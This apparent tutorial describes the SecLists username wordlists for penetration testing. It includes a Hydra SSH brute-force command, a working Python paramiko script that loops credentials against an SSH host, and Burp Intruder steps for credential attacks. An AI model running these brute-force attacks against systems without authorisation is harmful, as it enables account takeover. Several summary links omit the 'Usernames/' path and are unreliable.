# SecLists Username Lists for Brute Force Attacks: A Comprehensive Guide

> Explore SecLists username lists for effective brute force attacks. Discover curated datasets from danielmiessler/SecLists formatted for common tools like Hydra and Burp Intruder.

- Repository: [Daniel Miessler 🛡️/SecLists](https://github.com/danielmiessler/SecLists)
- Tags: how-to-guide
- Published: 2026-03-03

---

**SecLists provides curated, community-maintained plain-text wordlists stored in the `Usernames/` directory, ranging from 18-entry shortlists to 10-million-entry datasets, formatted for immediate consumption by brute-force tools like Hydra, Medusa, and Burp Intruder.**

The danielmiessler/SecLists repository serves as the security tester's companion for credential enumeration and brute force testing. Its dedicated `Usernames/` directory contains specialized wordlists that eliminate the need to generate custom lists from scratch. Whether performing rapid credential spraying or exhaustive dictionary attacks, these **SecLists username lists for brute force attacks** provide the foundational data required for effective penetration testing.

## Understanding the Usernames Directory Structure

Located at `Usernames/` in the repository root, this subdirectory organizes all username-related wordlists by scope and source. According to the [`Usernames/README.md`](https://github.com/danielmiessler/SecLists/blob/main/Usernames/README.md), the directory maintains strict formatting standards: each file contains one username per line with no extra delimiters or comments, though empty lines may appear at file ends. This consistency ensures immediate compatibility with automation tools without preprocessing scripts.

## Key Username Wordlists for Penetration Testing

### Top Username Shortlist for Rapid Enumeration

The [`Usernames/top-usernames-shortlist.txt`](https://github.com/danielmiessler/SecLists/blob/main/Usernames/top-usernames-shortlist.txt) file contains the 18 most common usernames found in real-world breaches. This compact list serves as the optimal starting point for "first-pass" attacks when testing time is limited. Security professionals use this file for quick credential spraying against SSH, RDP, and web authentication portals.

### Vendor-Specific Default Accounts

For targeted testing against enterprise software, [`Usernames/sap-default-usernames.txt`](https://github.com/danielmiessler/SecLists/blob/main/Usernames/sap-default-usernames.txt) contains default service accounts specific to SAP systems, including entries like `DDIC` and `SAP*`. These vendor-specific lists allow testers to target known default configurations rather than guessing generic terms.

### Community-Sourced Collections

The [`Usernames/cirt-default-usernames.txt`](https://github.com/danielmiessler/SecLists/blob/main/Usernames/cirt-default-usernames.txt) file aggregates over 800 entries collected from the CIRT project. This mid-sized collection strikes a balance between the shortlist and massive datasets, providing comprehensive coverage for general brute force scenarios without the performance overhead of multi-gigabyte files.

### Large-Scale Public Datasets

For exhaustive testing campaigns, [`Usernames/xato-net-10-million-usernames.txt`](https://github.com/danielmiessler/SecLists/blob/main/Usernames/xato-net-10-million-usernames.txt) delivers ten million usernames harvested from public sources. This massive dataset supports thorough dictionary attacks against high-value targets where credential guessing requires maximum breadth.

## Practical Implementation Examples

### Hydra Command-Line Attacks

The THC-Hydra tool accepts SecLists files directly via the `-L` flag. This example combines the short username list with the RockYou password list against an SSH target:

```bash
hydra -L Usernames/top-usernames-shortlist.txt -P Passwords/rockyou.txt ssh://192.168.1.10

```

### Python Automation with Paramiko

When building custom brute force scripts, load vendor-specific lists using standard file I/O. This Python example targets SAP default accounts:

```python
from pathlib import Path
import paramiko

user_file = Path('Usernames/sap-default-usernames.txt')
passwd_file = Path('Passwords/common.txt')

users = user_file.read_text().splitlines()
passwords = passwd_file.read_text().splitlines()

host = '10.0.0.5'
for user in users:
    for pwd in passwords:
        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(host, username=user, password=pwd, timeout=3)
            print(f'Success: {user}/{pwd}')
            ssh.close()
            break
        except Exception:
            pass

```

### Burp Suite Intruder Integration

For web application testing, Burp Intruder consumes the massive public datasets efficiently:

1. Navigate to **Intruder → Positions** and set the target URL.
2. Select **Payloads → Payload Sets** and choose **File** as the type.
3. Load [`Usernames/xato-net-10-million-usernames.txt`](https://github.com/danielmiessler/SecLists/blob/main/Usernames/xato-net-10-million-usernames.txt) for the username position.
4. Add a second payload set pointing to [`Passwords/10k-most-common.txt`](https://github.com/danielmiessler/SecLists/blob/main/Passwords/10k-most-common.txt).
5. Execute the attack to iterate over the Cartesian product of credentials.

## Summary

- **SecLists** organizes username wordlists under `Usernames/` with consistent one-entry-per-line formatting.
- **Short lists** ([`top-usernames-shortlist.txt`](https://github.com/danielmiessler/SecLists/blob/main/top-usernames-shortlist.txt)) provide 18 common entries for rapid initial testing.
- **Vendor lists** ([`sap-default-usernames.txt`](https://github.com/danielmiessler/SecLists/blob/main/sap-default-usernames.txt)) contain platform-specific defaults like SAP service accounts.
- **Massive datasets** ([`xato-net-10-million-usernames.txt`](https://github.com/danielmiessler/SecLists/blob/main/xato-net-10-million-usernames.txt)) support exhaustive brute force campaigns.
- All files work immediately with Hydra (`-L`), Medusa (`-U`), Burp Intruder, and custom scripts without preprocessing.

## Frequently Asked Questions

### What is the fastest way to start testing with SecLists usernames?

Clone the repository and use [`Usernames/top-usernames-shortlist.txt`](https://github.com/danielmiessler/SecLists/blob/main/Usernames/top-usernames-shortlist.txt) with Hydra. This 18-entry list requires minimal bandwidth and provides immediate results against common default accounts.

### Are the SecLists username files formatted for specific tools?

No, the files use a universal plain-text format with one username per line. This standard structure works with any tool accepting line-delimited input, including Hydra, Medusa, Burp Suite, and custom Python scripts.

### Which SecLists username file should I use for SAP systems?

Use [`Usernames/sap-default-usernames.txt`](https://github.com/danielmiessler/SecLists/blob/main/Usernames/sap-default-usernames.txt), which contains specific SAP default accounts like `DDIC` and `SAP*`. This vendor-specific list targets known SAP service accounts rather than generic usernames.

### How large is the biggest username list in SecLists?

The [`Usernames/xato-net-10-million-usernames.txt`](https://github.com/danielmiessler/SecLists/blob/main/Usernames/xato-net-10-million-usernames.txt) file contains ten million entries harvested from public sources. This dataset supports comprehensive brute force attacks but requires significant memory and time resources compared to smaller targeted lists.